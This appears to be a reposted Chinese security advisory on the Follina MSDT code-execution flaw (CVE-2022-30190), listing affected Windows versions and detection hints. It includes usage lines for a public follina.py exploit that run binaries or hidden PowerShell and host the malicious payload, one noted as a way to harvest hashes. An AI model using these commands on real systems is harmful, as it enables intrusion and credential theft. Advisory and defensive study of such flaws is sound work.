Windows Server 2012 R2 (Server Core installation)
Windows Server 2012 R2
Windows Server 2012 (Server Core installation)
Windows Server 2012
Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Coreinstallation)
Windows Server 2008 R2 for x64-based Systems Service Pack 1
Windows Server 2008 for x64-based Systems Service Pack 2 (Server Coreinstallation)
Windows Server 2008 for x64-based Systems Service Pack 2
Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Coreinstallation)
Windows Server 2008 for 32-bit Systems Service Pack 2
Windows RT 8.1
Windows 8.1 for x64-based systems
Windows 8.1 for 32-bit systems
Windows 7 for x64-based Systems Service Pack 1
Windows 7 for 32-bit Systems Service Pack 1
Windows Server 2016 (Server Core installation)
Windows Server 2016
Windows 10 Version 1607 for x64-based Systems
Windows 10 Version 1607 for 32-bit Systems
Windows 10 for x64-based Systems
Windows 10 for 32-bit Systems
Windows 10 Version 21H2 for x64-based Systems
Windows 10 Version 21H2 for ARM64-based Systems
Windows 10 Version 21H2 for 32-bit Systems
Windows 11 for ARM64-based Systems
Windows 11 for x64-based Systems
Windows Server, version 20H2 (Server Core Installation)
Windows 10 Version 20H2 for ARM64-based Systems
Windows 10 Version 20H2 for 32-bit Systems
Windows 10 Version 20H2 for x64-based Systems
Windows Server 2022 Azure Edition Core Hotpatch
Windows Server 2022 (Server Core installation)
Windows Server 2022
Windows 10 Version 21H1 for 32-bit Systems
Windows 10 Version 21H1 for ARM64-based Systems
Windows 10 Version 21H1 for x64-based Systems
Windows Server 2019 (Server Core installation)
Windows Server 2019
Windows 10 Version 1809 for ARM64-based Systems
Windows 10 Version 1809 for x64-based Systems
Windows 10 Version 1809 for 32-bit Systems
https://github.com/chvancooten/follina.py
# Execute a local binary
python .follina.py -m binary -b windowssystem32calc.exe
# Execute a binary from a file share (can be used to farm hashes 👀)
python .follina.py -m binary -b \localhostc$windowssystem32calc.exe
# Execute an arbitrary powershell command
python .follina.py -m command -c "Start-Process c:windowssystem32cmd.exe -WindowStyle hidden -ArgumentList '/c echo owned > c:userspublicowned.txt'"
# Run the web server on the default interface (all interfaces, 0.0.0.0), but tell the malicious document to retrieve it at http://1.2.3.4/exploit.html
python .follina.py -m binary -b windowssystem32calc.exe -u 1.2.3.4
# Only run the webserver on localhost, on port 8080 instead of 80
python .follina.py -m binary -b windowssystem32calc.exe -H 127.0.0.1 -P 8080
-
Office 应用程序的可疑行为 -
Msdt.exe 的可疑行为
https://mp.weixin.qq.com/s?__biz=MzA4MDMwMjQ3Mg==&mid=2651868136&idx=1&sn=5261ed6d101f8ebf3ebd20be1f5fe625
https://mp.weixin.qq.com/s?__biz=MzUxMDQzNTMyNg==&mid=2247499910&idx=2&sn=639a28e6435906dcd5637dbd096ea6a9
https://mp.weixin.qq.com/s?__biz=MzU3ODM2NTg2Mg==&mid=2247491690&idx=1&sn=2fec31352971ca5091fc834c7a0342eb
原文始发于微信公众号(Reset安全):Microsoft MSDT任意代码执行漏洞(CVE-2022-30190)
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论